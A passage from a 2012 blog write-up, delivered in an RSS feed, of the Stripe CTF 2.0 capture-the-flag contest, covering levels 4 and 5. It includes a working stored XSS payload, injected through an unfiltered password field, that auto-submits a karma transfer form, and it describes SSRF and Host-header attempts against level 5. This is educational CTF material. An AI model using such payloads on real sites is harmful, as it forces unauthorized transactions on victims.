<div class="sourceCode" id="cb15"><pre class="sourceCode ruby"><code class="sourceCode ruby"><span id="cb15-1"><a href="#cb15-1" aria-hidden="true" tabindex="-1"></a><span class="cf">unless</span> username <span class="op">=~</span> <span class="ss">/^</span><span class="sc">\w</span><span class="ss">+$/</span></span>
<span id="cb15-2"><a href="#cb15-2" aria-hidden="true" tabindex="-1"></a>  die(<span class="st">&quot;Invalid username. Usernames must match /^</span><span class="sc">\w</span><span class="st">+$/&quot;</span>, <span class="wa">:register</span>)</span>
<span id="cb15-3"><a href="#cb15-3" aria-hidden="true" tabindex="-1"></a><span class="cf">end</span></span></code></pre></div>
<p>But as the password is presented, it is also a possibility. It turns out that it
is not filtered, and thus exploitable.</p>
<p>Let’s create a user “x” with the following password:</p>
<div class="sourceCode" id="cb16"><pre class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb16-1"><a href="#cb16-1" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>script<span class="op">&gt;</span></span>
<span id="cb16-2"><a href="#cb16-2" aria-hidden="true" tabindex="-1"></a>  <span class="kw">var</span> f <span class="op">=</span> <span class="bu">document</span><span class="op">.</span><span class="at">forms</span>[<span class="dv">0</span>]<span class="op">;</span></span>
<span id="cb16-3"><a href="#cb16-3" aria-hidden="true" tabindex="-1"></a>  f[<span class="st">&#39;to&#39;</span>]<span class="op">.</span><span class="at">value</span><span class="op">=</span><span class="st">&quot;x&quot;</span><span class="op">;</span></span>
<span id="cb16-4"><a href="#cb16-4" aria-hidden="true" tabindex="-1"></a>  f[<span class="st">&#39;amount&#39;</span>]<span class="op">.</span><span class="at">value</span><span class="op">=</span><span class="st">&quot;100&quot;</span><span class="op">;</span></span>
<span id="cb16-5"><a href="#cb16-5" aria-hidden="true" tabindex="-1"></a>  f<span class="op">.</span><span class="fu">submit</span>()<span class="op">;</span></span>
<span id="cb16-6"><a href="#cb16-6" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;/</span>script<span class="op">&gt;</span></span></code></pre></div>
<p>And to deliver this payload, we just have to send karma to <em>karma_fountain</em>. A
minute later or so, its password appears.</p>
<h2 id="level-5-the-domainauthenticator">Level 5 : the DomainAuthenticator</h2>
<p>I couldn’t finish this level. This level is also a <a href="http://www.sinatrarb.com/">Sinatra</a> web application,
which can make POST requests to hosts ending in <code>stripe-ctf.com</code>. When the
response contains “AUTHENTICATED”, you are marked as logged in as this host. The
goal is to log in as a host name matching <code>^level05-\d+\.stripe-ctf\.com$</code>.
I tried two different techniques.</p>
<p>The first one is to have the level 5 host make a request to itself, so that this
request triggers another request to an arbitrary controlled server (the server
from level 2 can be used for this). The main problem is that the application
needs 3 parameters : “username”, “password” and “pingback”, and it passes the
only first two of them to the pingback URL. I tried header injection (injecting
a <code>&amp;pingback=...</code> at the end of the password), but it was filtered out.</p>
<p>The second one is to slightly abuse HTTP : a same host can have two hostnames
and serve a different content depending on the “Host:” HTTP header. If the level
2 and level 5 run on the same IP, we could run a custom HTTP server on a high
port, so that the POST would succeed (this would work because there is no check
that the port is 80). Unfortunately, the two levels run on different hosts, so
this does not work.</p>
<h2 id="other-levels">Other levels</h2>
<p>A lot of complete solutions have been published since, for example <a href="http://blog.matthewdfuller.com/2012/08/stripe-capture-flag-level-by-level.html">this
one</a>. I’m quite frustrated because I’m almost sure that I tried
adding a <code>?pingback</code> parameter on level 5. Anyway, I hope that the next edition
will be as interesting as this one, and that this time, I’ll win a t-shirt :)</p>]]></description>
    <pubDate>Thu, 30 Aug 2012 00:00:00 UT</pubDate>
    <guid>http://blog.emillon.org/posts/2012-08-30-stripe-ctf-2.0.html</guid>
    <dc:creator>Etienne Millon</dc:creator>
</item>

    </channel>
</rss>
